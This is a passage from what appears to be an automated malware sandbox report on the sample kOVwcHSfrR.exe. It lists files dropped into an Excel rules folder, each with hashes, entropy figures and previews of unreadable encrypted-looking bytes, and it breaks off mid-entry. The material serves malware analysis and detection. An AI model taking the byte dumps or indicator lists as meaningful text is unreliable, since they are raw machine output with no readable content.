Preview:	<?xml......\..(..B.]...^.0..p..O.w...."nM...BZ.;T.a..Z.[.).@...j...t...}...K...pS{....e.gWC.......(.V.s.<.:U....~..7_.V..-."..V.....7....7..7.1?W.%.}..$b........<q......<2.i,a[.>.l..)....ax.7c.....$......Fs.k.....z...]mM...n.O.L)..G........Q... xv....G.1....?.M..,...1~..._..N.........p..Mdr....z.pMJ....ivTV.5.@....,....E[>+W\|v.....$..47wy.[....q..0..7...[.'@a.....R....lnSi..;<.xP......Js..w.v...(#...y.(.o...o0p.N,.>.9.lNJ=.d?.\..Q..........J...bo..?.[.r...w-.......Al..D.6s8.?.h.:........H.o..@....HNvW........Z$....Z..H..!...v..D.d4k..........{.cv..&.H..r.......U.1..Z.......}~V:.J.........'a.i.Mw.~.........Y.[..v..A9.D_...x5>A....Z..'...,..y.z..;..B..R.B.?yF......Yzt.?.....&.Q.......q..Y3e..........1z..g..f/.y.1..S...v..X{".q..."..Q...'.S..........iv........8p...>Ra$c.....[)1.Pa....G..j....BN...8.....R..J...\...TFq./....).F^Y..A.....I..)~...s....6XW..E...\s...-.?..Ki..w.>z...B...F...~.E....!.N.7."^.gm.-y.\...n....]....j...j....7.....U...lt..(...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.766534460964566
Encrypted:	false
SSDEEP:	24:MP6MmO6+Q43RyhjCvAy2mBG0Ka7a8smY/dBP15SAQTG+/Ww1bD:K16ERLvBBYj1YAQq+eyD
MD5:	9E725FF59BDF9782E882C371F63D7445
SHA1:	61C4C69E31F6C511442E020CE887CD53C99CCFDF
SHA-256:	AC6C50841229441038FC884329C301C054BC99199767F1555A5DEF36326E1684
SHA-512:	C2F73E8FBC3404CEFF4C04372E6EF8C958C1ACD73D153CBD2DA9C05C46FFD6E876440BF37357C667952838B1F9F1C1C4DC83247C1BD5D26F1507CD7721C9A633
Malicious:	false
Preview:	<?xmlQ..W.W.+....M.>..".a..Z......o..q..Y..I..%c:..[#.Db.0..C.ay....!67..(u>V...[.}... 2....8..l.nO..[/'.Kg.....!......3.]...L?I....H...A.0.....z.w..H........S.%.7...=&{3....2~....A..@...yW...I..S2R..S...!...Qf.D....O >x.G.T7}D..=........1...`p2.2...D.b.R......(:.'.B..h^...M>M...>\|.u.....On...K.j.a.y.0.d..../.........lqT2..%....]...#.#^.......W#9.l.R...x...W.y..]..k[..G......W. .J`P"ON.r..[.....k....cQ.6.g.j..L.XN...M.M2.'.v...= ....rJZYS.k..\|.'tF..6.\3.C..n..=.c..+..!..ei&.p....Q.O.....4.4.Tb.+x..cE.Fi.J~N..nT...!...3.O..C.v=.^.}..`.C..7b..T<.`D..-1d.fL..}u.6.j...Rj....nap...,....s[..4Q..q...sl~....2WI.@,....cNE..........B.....8.......2Qp..25..I]J.O.T6..C.'.Z...+.E........t$$.ec.tG!.5.E..5.(S..u..&55.:j.}..12..<'<L..5wLeid,}...;.l.g.B....5{..EE....Nof.va.$C.r...!-...B.f..c..T..$'..\|C.=..6Y..$..o...].v0`[..O..G.kN..<JU.....y.,.I..w-..~...gf+..4.kN......b..).-.`pe7%.N.....`..cc.h%..q.K.^..U..(.e..W4TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.78806991885446
Encrypted:	false
SSDEEP:	24:hODx13PmrdvQvei5LbBaJZlMYdOHpFshcA8TQ0kg8w1bD:gFsZm5LkZl50EhcfLsyD
MD5:	36FEA9009E1831F89A50B5BDB3005CE0
SHA1:	DAD6D4681BBBF24BCCE4CF9C7E30A70BB4E0E268
SHA-256:	AC16A5410B6172C13A1F34B27D6D6848ADA9F1E0056D93B29E02D16D53E288D7
SHA-512:	FA7808B51F13C9DE9EEEC3F3A097E0F0E8BC1FBBF36FF0B8E151EC449324C50A3227C942C60AA2D3592361BC5175F1B8770A2B5EA9C9A649091033102140DB05
Malicious:	false
Preview:	<?xmlQ.ye(.8()L^.4...wH..?..h.....^x.k....2.Q.QE....&G.~A.l..._...H........l..)..s>....,V.C..\|..C"..e...a.<J..u.b.^.nk..5tUXJ1_'.-!5....'x...C.`-....C.....Q..V.W....EE......,..epq.7'...]!....\|..JO.....9....x>....S......5B.&dF..v$...L.....t..,A/.y......~yO.Vu.-CO........TV.....k..J`-..d...t&1.4.n.Z_. ....@.R.j..6.!._...W....x!....#8G..H.;,..=z.@bF..u..[...0v.\|....T..$.\..U...0T8F..6dK..N...o..g..t.\|. J.t0H.8......r"@...Zs...p..)[..h...5..7a.d.../.....D....u!"=dP.3..\|N.:.].c..N#..5.8,.Y.4v.g\|,...:#\..N...z..s...n../.qx....%.l.?.......$.(\....A{aj.....n...<....2..;6V2.m.ui....../.,Y."..nP.........^.%.Z.J.(.+.J..a..3.vL....O.L.{;..../.MW.xT....\|0.....8r...D..o...?........v...c.....\|.m..V..:........\|.^rK..l...9.\|B....q.)-..7X....pEoz.....4.:<.J8......Zp......[5...Id.l?...C..!.Z1.. g.nl\|{.t..9..]._O...............DpmZ..m.b..i\|'...Q-...}..#t.J..[g.."..z...NTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.929576999219338
Encrypted:	false
SSDEEP:	48:s1Qn+LPJNp+Cy+r0djXQxrPbGr0AmsHi2seUKbfhCTIxWvjgr+EmiQyg0nveUj8X:stDJNp+Cy+r0djoPKgsHitejMvhEmiQp
MD5:	6B69F8F422F06507AF98994FE63DC260
SHA1:	6845B7D9A98FE75B7FBF1A5E921647D01FCFC49E
SHA-256:	247AE94F3714784D97460589EB9AC6607ACFDE03784FFA1AD912DA91CEBCEBFA
SHA-512:	D56AE6812759F1A8F1164C55DE6DAF70C3839A7E93D7EDF1189313CCAC2048310E3A1010CF4E5E84CFE89FA930E253D74DA164EBBA999A8DA4CF50BE5A9C3A4A
Malicious:	false
Preview:	<?xmlvwK.\.%Oo...F...\|...Z.j..hX.r..YZ1H../n.k.f.+.I....j.}..n....c......=rm{5...$......u/.T......Y$....@.Z..adP...g.E.X.&.!...w..$.j...D.u,..x...... ....:I.rV8g.4.;.?.4}...p.>E.r.9.<..N^1g.#.!....a..25 .-..bjy.H...k.Z.S.C.X...gkY...=%.\|..q..yl.....b...D.K.gBE0..cS5...~A..{..Nz...k.o....$..VK..UO.(..e(.:.'.g.h;...G...m.m.......p.Pe.....4...x...z.....?.q.E4...d.q{\|...O..j.#..&...Ar.YV.....E..]......U.%.`W.q6w..U.V.{UZ..u`..w.....r.{..b.t..@....dKdvY)@l.\..NN.5CD....!)u..hx.b.!.=....2.Rg..YP...z.>..$.. .....E......6/.O...$...TS.s.7...r...J.,......CM.K8.&.M....5.........TX.~.s....(.gO.x,.....-!a...h.6".K..L.S...Q...q......4..=V^..B.-...l.'...=_~...T.Q.......s".I....}..........Y.e...f@...`.....=\|I.Sqe."l..^..^M6.41.M.3......3...m......^N..^T.J.5..-.M.... ...%.....L_k..;..e],Sl..j..`....G......-..W.........Ej.v"9.2..s...x......W].........U.^.....X.m.}I..._4N..gF.-A..T..F%...{e).u.4.4../..z...].\|0..gS....~..c.j..8$..fQ..7>Qt.^........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.933067442735561
Encrypted:	false
SSDEEP:	48:euEBVKIwa8zbV4HiNwL/FJ+600OVZLlynTIgwlOKvCmbVooq8PLN0Xh/BYnPl2Vy:euo+FbV1uX+GOVyT1uSYBMBYnPMVDLor
MD5:	880E9178E8616F98D1C8CC9B326B8B04
SHA1:	7DCAA407A6DE2B76C22B5C3C4207A5F3A6BFF72F
SHA-256:	D63C1CF47CFE655F2AE52E3ED0B549794A7D430106DCA32B6BF6F3E2AD64DB3B
SHA-512:	70EF332BF45D465736F9717F27FF2DDB3A13B61D6F8E0822CC2BC655BAAFAC5CE742FCC5181CB9BFEC9CDFB910E8E1C31C62EC2D08D53BDC34DC645014981983
Malicious:	false
Preview:	<?xml.G.,..}.....L..3Ur....@.l.}.....;.....\|F.-...Ae..&[r+.....{6@.j]....sn.".\|Rk#.....G..w.l=.DTj).X.......}....$.JH......M......vV.....u.R.!.lpXK.6........8....wY.\]..HL...Qw...x...:.*S^.d.3K..wN+.`..3....M.Z..iJv..e........n........@.8...~.#........G.a.....5...?"<8.N...Gs,...`J&7...I!.h...]...h...}.yK...Q.k..k.P..N;...E.....fC.".@.......Y...(..K..j..X.z6.....)y....u.E.W......9w..bn.n9E....iX.m...-#..X..N\!....ulQ....@.\|..b..`...;.&...5f.?:...H_..5..Fo..Y...9.L.k_b`..5.N?g..U....TD...?.4j1..k..Viq...x..k=... ...@VdP.+...(v....s@..d.\........N...@........T.W..j0......np..-..N...O.MhHu.......aH..1.h..?..(..}......h..O.D..4 ..m..-Q..~.E...`'...6..U.X..2..}...KIH..?-..$P._.%H..-.U`......9 .J.['.P...4`..'./.}..0...Y..g...K......]>.)P......p.E<.....[.E(....<..>.5.\`B...9..O..>.V..C...0........Ph..r..E..3......~.)..+..\n.1.Y.F,.}{.....V.+p.e4.}qYO!E<...h.@..5.Pmk%&.j'a;......3...{),Y.y....I.....Y..+.@2.).......-a...Y...0#.c....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.918784367516003
Encrypted:	false
SSDEEP:	48:e+YKDXW/WgfBxNmDCLBJTXZ+ls7QMoGzf3BtlphKuuCdeHNavXyD:e+9jMVmDgBJrZSs7MUfdXuCdeHGa
MD5:	9ADD71FD8526B324CE13EA74D2106B32
SHA1:	0EDA2A693D85E234091B5244A7F57D4C5149BF37
SHA-256:	C3C723BC0FB60CB561ABD08B36AAE61E97412AECFDA36D147E2FB31847295CB7
SHA-512:	ADB468B4B0BB01ED7FE8CA492B8818FF912A5BA6A02C52BD582BCBA4E36322E3ABB7861B7CD567191772B9E9CC92422D6CE94463EC1CA841880C96F81472D0A4
Malicious:	false
Preview:	<?xml..I...a.}..YL..m....qMn(#B.{r....9.)!S.N......b...c..r..F..!..-cK.<.CA4......Z&U'-...r.zA...sr=...\|..a.(.!.....?c.5..p..h...$...8.j..;vc .!..,.........L.H.q.ZI..a0.!..!.........Y.....Z.Vq........%yN....P...v.....5..[N.N...2.....A.U.c`.u1.f..4........S..H.t...`.;....!+.3..fm....ae..<..].R....MP....F.2..X..r1..q....b...L...Q..Rk".m93Mm.\C...?.C..I.......F. Z./..4.XJl..z..bb'[?#4.%$.....Ab.Y...!..R....:.p....D..c.j..2?.@$.......;.IZn..N.Y..BDy.......6o..#qK....@.5..T......0l..]..N.W.....o..gosu...9.2......A..x.Q.6'.N..J&...`&6..p@WB...I.p..q%b...SLq..C\|...=.1.....:....$.....M..Cb3.;..4"...v.,)......)vB.M...z..JZjE7.E.4..$+.0...^L..q9.]E.R`..\...Q..k.r...0a<.....G.Q. ..x.s."e[.x..O..UiEI?FB....C............kU0x.2..E\,..b...\.\.}...hH}%.Hj.(-.....R...Q9...\|}=9^6:...H...~t......4...$..i'.]s;....x.!.uAz..1_...g8.#U..UL...N.....u@.wn.-.A............h..V....y&..+`$.._J.q.c.........T.j(...Rplw./8...A.5.2$..3..1..w%.k.......C..U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.713978490553725
Encrypted:	false
SSDEEP:	24:rUZmIbEUDHLPG4xxoOKGax2O5XwOXw1bD:ymIbEcP/gCK2O5XwcyD
MD5:	7A05175ED9D10F3B3960BF6D34D03111
SHA1:	5BA050E31C2830C18AC96B8A8253CCCC3EF58114
SHA-256:	18D03B6B06EB4CFA7B0E3CE853D6D5FB011D37D47586C5CF2991BC16D8A42365
SHA-512:	F47C6C391BE4FAE2EFBE465D4F0BA66A374D19865E59E5D28AA8B514D6D6D21D6CF1B7A2314C6B3126767890F8E5748578B0EE3BCC835511311E064B17068F13
Malicious:	false
Preview:	<?xml....H..X.....X.N...E:.%..S&...W.........%..@.X..z......R.?..z.&.........I...U.2.o.....$......e1.z..4.d.W9?.p......0...........<.9*$..+. ..y8......,..n..#.=....cM.......o.2....vdq.>......m. L....w2.B.>...D.a;3P.].Cr.Z....n}...?..nJ..s.`...R!..0..N...z_.....\.?.]. .R.!4.G.j`S1Z.......q..E.O...\S.{..@1}..JA%>P."..CF...?.\|....8.D@^.8.Ph,IX.?..=.J.2u.Q....d\n....z.....>2C..$.....D..Q$...X.?H.J.T....... .E7....E.d...-.-a....,Y..G@.....${.I.3.?lk.t2.5.:...3.=0.<....;VN.ub.+1....~r...:...C.\1.@.,j.P2K.F..V...=.[...9.....KT=..Xk.......}...:...e..s..5..\|.;....t.....k.c.Q.5==.\...#..v(..VD.....a&;..-`.A<.<......hA.,."}.......i.w..\|..P..{.H.~!..bf....<.>xo.....0..6.z-.........<5.un9.4}i.n&S.S<....N...(....OSmO.Hq'"TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.788445412933921
Encrypted:	false
SSDEEP:	24:H8ZfiGFWw0NBqOTNZvwkCLlhGS3YUOH1FnLHyySFcAKyeSnDw2Dw1bD:c0Bw0XlnJ4GRUOH1Fn7yBNnUIyD
MD5:	7BD9B4985A699477B73489886E426F2C
SHA1:	EE702C28ACA6B00D6563ABF4C61A2A7EE349D665
SHA-256:	C84C3C9EA2CA3B1947D19997B64F6AD0CB85ED49D55A54973D28C04FD3AB9B16
SHA-512:	6E6836242CA0ADEA23BC1BE394E9927E04776933C96DEB6E80441623918B4BFAEA9C2755BD76C3858CB115406748D51924BA1D47138F187233716E9C10A30BD3
Malicious:	false
Preview:	<?xmlw.....f..PN5.Y..k.U..xIh...K......>u.~9$.....G....K.0.0q.a.........`W....g^F..Sbz.....;..$..3.M.yL...w..b.k..K4'.q.CAX8..q(..Ux?..q..3.9..\.TX.5Z.q.P..>..k...!.l<.......U.@......\.f..........'C...I.?....Ft.=.B..r.R.v.....f..s..0...h.....r.@...P..!......u..>..\.......l......\|(.IQ..O~...&.b..@..Ag....y.C.\|....e.![0l.......}.~.c.Nv;...n.gp....V...7...U........o%#...$...w.....F...i.....Q`.Y[..j.".........zK.`...E........\|cv.(..7.+...."8..ZFs..n%.3q........0.d._Q.A7..?.7.....\........>E>...."n..F!..1R.D..a....Xz.t\7....{.{.....c...;.m$.s../%...6/....O.q.1v.....#.d(....U...H`..j.)`....B;..W).d...}k{I....s.....C.J....:)...\|H.T.$..a.e......N..u..+i.....a@....q..Z.....]z....a]I.er...tth.<.m:h.'....8.l..{.vyH.../].S/.u.tZn.YlM..>...D...X.."x.Y.2!..\....H..]..Uk.BN=.5.q8e.\..l..y.>.W.Q....$.."..........x26.5.aE..z.=H.g...'5.^......4...._I...[.J.Is.yR...f.H.].3#4.{I@.FTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.832412884480706
Encrypted:	false
SSDEEP:	24:w9ZoU+jCFkBt887M7VbwefXcopXECoDMTebG7e46a5ZuQme+1S/uw1bD:w9Zo/Jt8aMxbwjQECoDMTebUeuZVq1S1
MD5:	1827C7973B3662BDCE370BB4816F1FA5
SHA1:	7429D9496E4F61D247861D9E647D3F3AD48ADC4D
SHA-256:	00B46913C59C37FD74914F37C0AB75CA0214AC7084E07E4B0719A735A9E5119E
SHA-512:	0A313152677CC7AB9FD601DFF2938D3059518A461E314D6384170E462361AE96CC04D99E4DC31AF5B3CDB7815491D6D0B265575019C7CAC1775B3686CE6C9C2F
Malicious:	false
Preview:	<?xml.....+...~.4_.@.......f............a.@..M...$.W...H....NJdyzL.O.3...`/,.]X?Z~....{...m....A..H.B..$..a..w..<..I...#./"......F5.m.,...9......e.?..."T..>C.z.iX...d.X.]5....r...p.....g.`R...X~.KH%t.izG...C.gfu.........8>..j.F`.Xx..U..{..i(..."..Ig.#H..Ei.....o....F.e"..a.:.p..Q.ukN_..)...F.,.~..XJ...$U?.D.<.D.@..vP.;.2...(cq.....c./..\|.......PQ.dq..."....w..HUI.+.f.5..sN7..I,..R\|.K..m.%...........''d.....u.$ud:..Q/x.i'....P...mf9.......ZM.....z.\|p%.....?p.;.\%.H........v-..6.C.".+"R...../G........rlIx.9..1....7.}..8./ ...(...g^.w...;...n.#..).&m.....a.....X=..~.....s.z7.`......6]].I.lJ.$.Kf.7u..Z:.>u..u.~.oBs?..-...y.s..N.....$...2............u.<G..F. ....cZt..%...O.I.Y.O=.t.)...1.Y_e_\|;P.....R....(.?.......F.s..........JkBA..O;W.g..w~C.D.8A.O\|-..4z.w~...7O...o.V.?n...d.\.Qe...XEs..F.6.+.!!.../0_M.4.lA..?aF.@xMg/...[....BG.\|..7......h.L...X$..:.d..X~.-..\#...+....#.s.\|.Eh..D.H.....9(.;.Xu......i...`Q.]v..G.S.].5.v..U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.8808495689658615
Encrypted:	false
SSDEEP:	48:AaBbMtOY1u0MFgMVsdi++keZsGkvsE6rtNDPPFZPNRa3SyD:AyzY1u0egKW+ZrkmtNLdda3Sa
MD5:	9C5588574D424D02C157186DB5B13AD3
SHA1:	94F81A9C8AD9FFF981EDC25F0131507138DD1047
SHA-256:	5558E45FFEEDD58C704AB490C64257502397FC3594F572AD6969456B240D7D12
SHA-512:	064616D30CB4C7B1169D4FF91F2B5E0A2953C1C0F80F689992B018B19F9A3EFE3A3C91E0DB92CFD5ABE3EA321692D823C6E8F09CCD0E6F0FFBBEB2B877233F43
Malicious:	false
Preview:	<?xmlb.5f.6_..(...{)L...RA.=@.hC.c9.0..j..5sU6.x.i...)U.A.AC...<.?.uDr,..~....yza....2...x...qt.sr..Y.....!5......!......?h.....C....D.l..j...Q._!;.T...D...w.j..Z..M..:c.....o...h........}../.]C.,..#....8..l.L\.....\|+....-b..ic.Q..!g..6}R+...yo..3.}&.'..I4..e.?...m.:..bl....]....^..#E.+..b..0.....E.....Y..SY..N.z.O...;... qf..F\|BB...B!ef..]}.......Z..e.aDV.`..../...R..d".....}y..0A..........VE.....].......;m.[.&.Qrv`!W.cy..8+.o.P.>.z3A........ .3)`...5.>.3n...H6..~t....G<.w.........1...+...V.6.....X! .Bd..\|.z..4.9p.s..)..w '.(x5....y_B..........EM@{..C....%.B...;... '@b..";.a...o.,R..X.<g..y.4.5..h.~..o\|$i..Qz..X.CB...3v......"....^.<..I.......U.....[......r..0.v.ej.Dr0.4.._...U.O...c..!.]bQ.Q"...<.....vm.....\|s.@_'........~....T..._...GP.a...;..\|.X...(=...`x..g.[}+..G.F~..V:....F...2u..(.....f~\|..y.9.!${>..E!>.8-....K....N.+....../.. ...j.....g...slT..$..h.>`...Yh..h.N.Dwk....T....].2i..(_........E.{.AU.....jV...~.Gc.....4N.hS..ju.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.920881189284869
Encrypted:	false
SSDEEP:	48:LW6y1yP4/zeHnJ5kb1p1PB6qow0Wj1JCL4K8JeOYjxMu5k0IyD:S6KyPQeHnJ5khpVBew00JCLCsOi5kxa
MD5:	5FC18696536F5B8BCB12E54A78B05F3D
SHA1:	DEC46A8AEE70E83F213031F99B4626F2EE5A0DA0
SHA-256:	FEFC56DB9002D90090AF3AE42A95AE84AFA94A279E8F8CB2FCA352FA5580D6B5
SHA-512:	CA0FD92498B452B6E07491603828A8AEBBF4ECC60638F0B6D35B278B21372007019912721F680EE9C94BD9ADEC78121B8B5BDD9B75F0314B7FC7E858BDDF2838
Malicious:	false
Preview:	<?xml.:e,.-6......v.c._S....RJ..O....!N0.2n..-..b.&.y......./.p...1.e\|...7..P>=...........x7..........p..KH.&?..........Y.g.u<..U.....:}'..4$...........WB........d;..W...~.1=...:...........u.<..m......W{...\|..7.z42..X.'...^..6.......j.3...g.^.V....[.?.4.......-"..y...%.9..XP.........u....v..j8..7..,..FP....T...W3...sOU..M.d.w.(_5AY/...T..$po.4.....W.k.. .J...~...p.....F...I...@,]S...H+..}{=E.2#...3....2..\|.DLT3.q.....ie%.0..o.....~s.>>......_...... ....e...q.j..C.p'Q..".>..R.Tt/.g.4_Izcte:....z}....q...=.%...._Y..B.F..}.b2.O.hf\....9...E.>.'5..I...x....0..Q).......m..._0?w/"..a.x.4.........X+.D....P.....^..[..R..p(n.BY#v^...........e.}.A..z.B...Z70..&?...K=...bq..$Q.. sV.0.0.j!vj..g.?&.W...f.....v.w..v..RN....[._...lK.m.joy9H.....G./.4...%.....SEm.mu>.\|..{...G"8...W7.7.t.Tg..F......ek..0O5.5.B ..{.;n=~}.7..3I;&.]...!...q.....a.n.W./.1.C.v.&#.%..sU+..:!Lvt..s..+...I.......\....7..p*3.P%Oc.5..#7..\|=0.@..y. \|..I..F..m..~.....a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.8717192324413325
Encrypted:	false
SSDEEP:	24:XDBmvOa9bvGdT3O5j2gJ5QBLqdoHVrVxBDkY8GijMo1dORIg+mrN3zeYxWw1bD:XFmma9bWE2qQBLqYrZkY8GqIxrlzoyD
MD5:	06150EE74C6425780876BD31FD69BA4E
SHA1:	890E169BDBA2F2D93BD5526B1A341DCB106BF7E5
SHA-256:	22CA9FECB4A8611074F5E4846E96FB0D9FFE56118FA52F7B2F07D1499DD07CB1
SHA-512:	3CB39680E9873790C4E3FC5E6636A78E20AF664494D0C1D355ECE13D533FB3573FF6648221820C39BC2A862583D076FD71816772141156B1AAEDA78CF8411F4F
Malicious:	false
Preview:	<?xmls"....m{?...e..o.K...K.?.F....7...%:.R..i....opg....5Msg......H;..O.y..H.9..p-..i..1V.}Y.D...P.....'6N..."S}..t=.H=+r..}"]._......)..=.X^....}\|..v.%t.E.J.=.Sm._.P.9...G..;JV9..h;.1...t.)......?.'.1........c@h..Q...)...W..2..{@IP.7...j#...b.q..Z..#d....2...C.P...h..V...d..X%)..K.g.3..d..<A..q..Q.....n..?..=?..=%....\|........'.MA......]...R.8"[....X4Q...7...1.$Q..8.l.M.pi.......O7R.@-.....6.8..[w.:q].......;8..F..=...q=9B2.........C<...rc.j;..d...)..k.$SE..K............d.]&.k..q......'...Pro..=.:gl.......^.....I.x........y<....m...]:Wa......).v...7.p=.1..t0.......@yA..S.6.q./.....Kp..y..&g[...........\|M6jN..nm~.4.............V...1..E2..::\..~xS&.wP...t.-....m4c.....j...A.?Mjg.`v..."uL.,!............<..b......7.C..^.......J.v.ITO.....T.c.}..@..o^L.4%d^..A.N......H.L.(.>T.o.[.b`.f.N....+B..\|+j.7F-A.I.!.tR.y..!.....Q...f..z..O.*...T..&...t....ic}.a..l...?\|\|..b..V.../~)kE^m..V@..81'"$09.gI.......d...b.`....;..;...k?..8}hQ.[..)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.921991694554861
Encrypted:	false
SSDEEP:	48:V5/aFCXEYV2UZEloL8/IUHtBE10g0Mb3aW32O8+fQbrPFaSLgyD:jaFSndaIUHtBWGMB3V8+fQdaSca
MD5:	143B42C4A840240AC6E1CE1FC9FED0B6
SHA1:	0E7BB0D854268BF32197C1D92225D30A3E28975D
SHA-256:	6F09C839494F16B15AA15FB1C283C42423A55FD96CF33B426C3708DFC030134E
SHA-512:	685A13CD077EB77F2FC1E5418272BE9265100BCBE35E356239B2C650DCB95B3FD2B35574B2137DEFE6022CDC7418B8968899D891DD2788017000C6D9D170C840
Malicious:	false
Preview:	<?xml...g..85...u.H.A.y..._.Q@....-...A.o.!=......{.`...R.a].....I...z.. ..0..0%...A.B(....LVVl...!6W.J....b...}J.Y[.Kk.9.>...n=...y.g.......?......FN..SW..)...,.~...Z.V;._....z{...L.l.{.9OSs-.<N$....W.[\|......J....?...Uo.Tc,?.A1..T..1%.......%..4..S.;~.g..\R>Q.P..M..)..>\|l;?.ZF=.0&3.....j..0.J.I.......-.C.F.S3..h.......Q.z..P..N+..!..0*.....,3_l(..N.}1D......4HeY..h.<v.......I+(.z..S9.............Z.t..rs.U..z2(.Y8.#r..n.....L..7...LJUlS....?.l,'<....?.....b..B..~P.X.....\|.3.q..].H..R<.11gDE.7.<..:.y.$O.$..^..S~........'K...j.^..,4:Wpq?l..W..U.\C....X.j.p.et...%./.;NS.z.....g\....p.=q..2....s....W.v..d....E...?.F...;qy..<..}IR.....%..wyZ...(,.+.W.$.s.v>.f.GuQIo.m<]..$.X. .@.{).......x.C:.#v..^W>w....X.%..fP+.#...[le[.1.S.3/..F/.4\|..;...%..OZy..?..P).G....`..Q.../Hwje......J.i...w..o..Pf{lN<...u..g.v.i....s~lE).f.o.6.o".^...n.\|6.-........cB....n.t.p7..._.P.....%Q7..4G...zfQi0......i..}c.N..3W>....l..2.=k.o.W..x....[Mw.X.m.\.F...h...^.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.899440591959684
Encrypted:	false
SSDEEP:	48:H6CtdFYtFzQnp5mTqU/lVDPR+wZ6zna+vzrb+yD:HdjFYFzVTxVLdEb+a
MD5:	A511D5EB7549378CD185CEC8DE31BABB
SHA1:	0FD583FB618E2B2939739E2082C6FECE450B2C84
SHA-256:	1C0FEBC46B344CED255C32A2A4EC920A7FBE79E8CF46BBACA4CDDCF0EA182702
SHA-512:	58B3149F21098EBEB7AEDFDE2D1444017159382E342876D8B48A4A53A0CB99A5EAC6069D616D8368A832F129BC34704DD418CB57EA6C9C1D4FDB05AB8F7D4ACD
Malicious:	false
Preview:	<?xmlS....l..f.......g'}.....6..f.8..%..........3...(..o....(...S.....0Ht..+.\|.&us\|s....h..2..Usc./.qX.0."..z_)...6..B...L....-..NI>].<...5.go..?.a..v.-).....[.w.G.7n.^.{!^."...W.i.A4.....c-..C..&....og.....(QR.G....~.u.).1...$....T. W...t./)p.."vU....=..,.......[Z\|....8...bF.M..x.N.X\....vp0..i......!..E.....e....X..o.d].k0D......&T.VO.k..#.'......mG......;2P...]...v. d{%SJU6j..Hh.....\|)....A..Hv.T...w.j.ty_.r.o...=..;~R... H.g.M!$..hl.WR....a.D.....N.`,n.=<.<..#....,.D.P.O.....Up...}...)...g....q..].p.W6.<.+...u..... ..g.uI..\H.1......'Q..@I..D.."wZ....\..Z..'.v...}.ex\|E....0Az..z.......m..f.2..VL.."H..~S...X-iP...3..4m.....B...,.s..z.g..%.BtZ...a.a.o...3.-q2.;...T}S.;.....S.......Y...MI.&+pv.WNX..m.]6..d..;..w.DV9.o.V........7.f.f.r.r>_2Y..9s.4R...rk...E.....yky..9.L.o..=1...L.M.F..L..UGky..bE.;..,L_.Z.(.....X..rU..~..S}.*-..u,1I.)....Xk...w...s:.B}^.......zP.......}.~..:D...xZ5....9.}4..:.F...'...B+A~..D.....0.......XT~..{..V....9.....BsP......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.818417629164905
Encrypted:	false
SSDEEP:	24:dodr+lGRcEvIQhcOiMJEcdRyBy4N4AFckHZkfVcV02KqSXY2J2sTw1bD:dod+lGOGI0cOiMJpyBTNFFD2f+UqSI2y
MD5:	5D96F8D7F3215CEC403A7F327C1FA9CC
SHA1:	CD550A20CAF3768F4B27220A41958F2F0BE4E945
